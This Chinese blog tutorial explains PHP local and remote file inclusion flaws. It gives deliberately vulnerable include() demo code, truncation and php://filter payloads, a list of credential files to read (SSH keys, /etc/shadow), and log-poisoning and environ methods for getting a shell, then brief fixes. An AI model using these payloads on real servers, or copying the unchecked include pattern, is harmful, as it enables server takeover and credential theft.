任意文件包含漏洞 

阿城's Blog - 关注网络安全 黑客技术爱好者-阿城's Blog是一个关注网络安全,热爱黑客技术,分享各种技术教程资讯 —关注交流|web安全|漏洞发布|网络攻防|信息安全|网站建设



任意文件包含漏洞

2018-2-17 12:49 作者:阿城 | web安全 |


a2ltc51776379939603.gif

0x01 漏洞成因

    通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者检验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

    本地文件包含漏洞                           被包含的文件在服务器本地
   远程文件包含漏洞。                           被包含的文件在第三方服务器
          条件: php.ini中配置项:
                 allow_url_fopen      ON
                 allow_url_include   ON


0x02 PHP中常见的文件包含函数

include():当使用该函数包含文件时,只有代码执行到include()函数是才将文件包含进来,发生错误时只给出一个警告,继续向下执行


include_once():功能和include()相同,区别在于当重复调用同意文件时,程序只调用一次


requier(): 使用require函数包含文件时,只要程序一执行,立即调用脚本;如果前者执行发生错误,函数或输出错误信息,并终止脚本运行


require_once():功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次

总结:

    (1) include() 执行到该函数时才会包含文件,而require() 程序一运行就加载文件;

    (2) ***_once() 已加载的不重复加载


0x30 漏洞危害

执行任意脚本代码控制网站控制服务器


0x40 漏洞利用

 本地文件包含

上传图片,包含图片Getshell

读文件,读PHP文件

包含日志文件GetShell

包含/proc/self/environ文件GetShell

如果有phpinfo可以包含临时文件

包含data:// 或者 php://input 等协议(需要allow_url_include=on)


1、包含图片的文件上传

demo1 show.php:

<?php if($_GET['page']){ include($_GET['page']); }else{ include("show.php"); } ?>


上传图片 1_php.jpg

<?php phpinfo(); ?>


测试:

http://localhost/code_inject/1/show.php?page=upload/20160801155130.jpg

demo2 show.php:

<?php if($_GET['page']){ include("./action/".$_GET['page']); }else{ include("./action/show.php"); } ?>

http://localhost/code_inject/2/show.php?page=../upload/20160801155526.jpg

demo3 show.php:

<?php if($_GET['page']){ include("./action/".$_GET['page'].".php"); }else{ include("./action/show.php"); } ?>
http://localhost/code_inject/3/show.php?page=../upload/20160801155718.jpg%00

2、“%00”截断的方式

     读取/etc/passwd文件:/etc/passwd%00

条件:php.ini 中需要 magic_quotes_gpc = off,PHP小于5.3.4有效


3、路径长度截断

     /etc/passwd/./././././.[...]/./././.

条件:PHP版本小于5.2.8(?)可以成功,linux需要文件名长于4096,window需要长于256


4、读文件

index.php?file=/etc/passwd

5、敏感文件:

<code class="hljs avrasm has-numbering">/root/<span class="hljs-preprocessor">.ssh</span>/authorized_keys /root/<span class="hljs-preprocessor">.ssh</span>/id_rsa /root/<span class="hljs-preprocessor">.ssh</span>/id_rsa<span class="hljs-preprocessor">.keystore</span> /root/<span class="hljs-preprocessor">.ssh</span>/id_rsa<span class="hljs-preprocessor">.pub</span> /root/<span class="hljs-preprocessor">.ssh</span>/known_hosts /etc/shadow /root/<span class="hljs-preprocessor">.bash</span>_history /root/<span class="hljs-preprocessor">.mysql</span>_history /proc/self/fd/fd[<span class="hljs-number">0</span>-<span class="hljs-number">9</span>]* (文件标识符) /proc/mounts /proc/config<span class="hljs-preprocessor">.gz</span></code>


6、读取PHP文件

index.php?file=php://filter/read=convert.dase64.encode/resource=index.php

7、包含日志文件GetShell (需要一定的读取权限)

    首先要找到日志文件的存放位置

  文件包含漏洞去读取apache的配置文件 index.php?page=/etc/init.d/httpd index.php?page=/etc/httpd/conf/httpd.conf默认位置 /var/log/httpd/access_log  

    让日志文件插入PHP代码

 burpsuite抓包改包curl发包php代码插入到get请求部分或者user_agent部分

    包含日志文件

index.php?page=/var/log/httpd/access_log


8、包含环境变量GetShell

   需要PHP运行在CGI模式,然后和包含日志文件一样,在User_agent中修改成payload


远程文件包含

条件:

php.ini 中配置项

alow_url_fopen ON allow_url_include ON

远程服务器存在一个txt文件,或者一个不被当前服务器解析的php文件(包含的时候 包含的是返回的php源代码,所以php源码不能被解析) index.php?page=http://www.xx.com/1/txt


0x05 漏洞挖掘

 特定的CMS,特定的版本可能存在漏洞

 web漏洞扫描器扫描,常见web漏洞扫描器都支持文件包含漏洞的检测


0x06 漏洞修复

 php中可以使用 open_basedir配置限制访问权限在指定区域过滤 . (点) / (斜杠)  \ (反斜杠)禁止服务器远程文件包含

补充:

appache日志文件默认在

/etc/httpd/logs/access_log

或者

/var/log/httpd/access_logs

也可以找到apache的配置文件,通过配置文件找齐日志文件路径:

/etc/httpd/conf/httpd或者

/etc/init.d/httpd

nginx日志文件默认在:

安装目录logs目录下

以我的安装路径为例/usr/local/nginx ------ 日志目录就是在/usr/local/nginx/logs里

window 2003+iis6.0 日志文件默认放在

C:\WINDOWS\system32\Logfiles

配置文件默认在

C:\Windows/system32\inetsrv\metabase.xml

iis 7日志文件默认在

%SystemDrive%\inetpub\logs\LogFiles

配置文件默认目录

C:\Windows\System\inetsrv\config\applicationHost.config




文章作者:阿城
文章地址:http://www.ac166.cn/post-196.html
版权所有 © 转载时必须以链接形式注明作者和原始出处!

 

仅供学习与交流,遵循法律法规 & 如有侵犯您的版权请联系我删除 & 手机版

CopyRight © 2016 阿城's Blog - 关注网络安全 黑客技术爱好者.  All rights reserved.